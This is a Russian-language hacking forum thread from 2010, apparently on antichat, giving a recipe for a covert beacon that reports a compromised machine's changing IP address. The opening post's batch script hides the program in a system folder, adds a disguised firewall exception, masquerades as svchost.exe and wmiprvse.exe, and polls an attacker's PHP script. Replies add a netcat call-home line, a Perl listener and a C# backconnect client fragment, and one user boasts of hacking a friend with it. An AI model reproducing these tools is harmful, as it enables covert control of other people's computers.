PDA

Просмотр полной версии : [EasyHack] Динамический IP


|qbz|
23.06.2010, 00:58
В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее .

К делу.

Сначала принцип:

Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.

Решение:

Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.

Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:


links.exe http://google.com

Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.

Создание такого файла является простым - достаточно создать лоадер браузера:


"%CD%\wmiprvse.exe" %1

Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".

Теперь, создадим саму стучалку:


copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep

Работа очень проста:

сперва мы скопируем сам браузер в системную папочку,

далее сделаем ее системно-скрытой,

добавим браузер в исключения файрволла,

а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).

Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.

Теперь вооружимся компилятором бат-файлов (его можно найти здесь - /thread175086.html (https://antichat.live/threads/175086/)) и компилируем данный скрипт, с параметрами:


- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files

также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:


svchost.exe http://lovim-ip.ru/ip.php

Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):




Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.

Браузер "Links" (собранный в один файл и не собранный) - Links.zip (http://energetix.xf.cz/files/4d086d26b59c715cbc7e9c52b86e281d/links.zip)

Готовая "звонилка" - Svchost.exe (http://energetix.xf.cz/files/a3688d9e9b86e2a61da5938238b3a03c/svchost.zip)

(запуск: svchost.exe http://adres-php-skripta.com/skript.php)

warwar
23.06.2010, 01:12
Не проще залить бекдор с бекконектом?

Чем браузеры всякие качать на машину?

|qbz|
23.06.2010, 01:21
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.

noxjoker
23.06.2010, 01:54
Не проще залить бекдор с бекконектом?
Чем браузеры всякие качать на машину?


+1


согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.


Тебе показать бекдор с бекконектом?

slashd
23.06.2010, 02:00
Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.


nc.exe lovim-ip.ru 8888

На сервере написать простую прогу висящую на 8888 порту


#!/usr/bin/perl
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalPort => 8888,
Listen => 20,
Proto => 'tcp' # а можно и udp
Reuse => 1,
Timeout => 3600 );
while (1) {
next unless my $sess = $sock->accpet;
my $ip = $sess->peeraddr;
print "IPaddr -> $ip\n";
shutdown $sess;
}

если работать через udp, то netcat надо запускать c опцией '-u'

|qbz|
23.06.2010, 02:29
Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.


тоже вариант. впринципе все это решается в любом случае сторонними программами/утилитами/троями итд. я показал один из вариантов.

Kabare
29.06.2010, 16:27
отличная статья.

друга только что им ломанул

warwar
29.06.2010, 16:44
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.


Не согласен. В паблике море бекдоров с бекконектом.

|qbz|
29.06.2010, 17:09
Не согласен. В паблике море бекдоров с бекконектом.


возможно. если у тя есть сорцы какого-нить, то интересно посмотреть.

Engineer
01.07.2010, 00:00
Мне тоже! Сорцы так просто не достать!

ZagZag
02.07.2010, 23:53
Че доставать-то? Сорцы проги которая запрашивает команду у скрипта и выполняет ее? Мегаприват, да...



UPD: Сорь за оффтоп, просто я как раз сетевым проектом занимаюсь "немного" посложнее чем бэкдор.

PS: Уже лет пять не школоло

warwar
03.07.2010, 00:15
Че доставать-то? Сорцы проги которая запрашивает команду у скрипта и выполняет ее? Мегаприват, да...


Не пойму школоло, им бы только посты набить.

здесь (http://grabberz.com/forumdisplay.php?f=76) много бекдоров с бекконектом.

AnGeI
04.07.2010, 23:41
Динамика - основная проблема работы с дедиками.

Спасибо, будем тестить.

noxjoker
05.07.2010, 03:04
Мне тоже! Сорцы так просто не достать!




возможно. если у тя есть сорцы какого-нить, то интересно посмотреть.


Могу дать сорс который используется в GeneratorTroj

|qbz|
05.07.2010, 03:33
Могу дать сорс который используется в GeneratorTroj


kidai

noxjoker
05.07.2010, 18:54
socketForServer = new TcpClient(IP,port);
networkStream = socketForServer.GetStream();
streamReader = new System.IO.StreamReader(networkStream);
streamWriter = new System.IO.StreamWriter(networkStream);




strInput.Append(streamReader.ReadLine());
strInput.Append(""\n"");


Код самого подключения бекконект. Клиент.

mazaxaka
26.10.2010, 20:29
хорошая статья. но помоему проще написать на дельфи пару строчке где будет отсылатся имя компа на гейт и все и вес будет меньше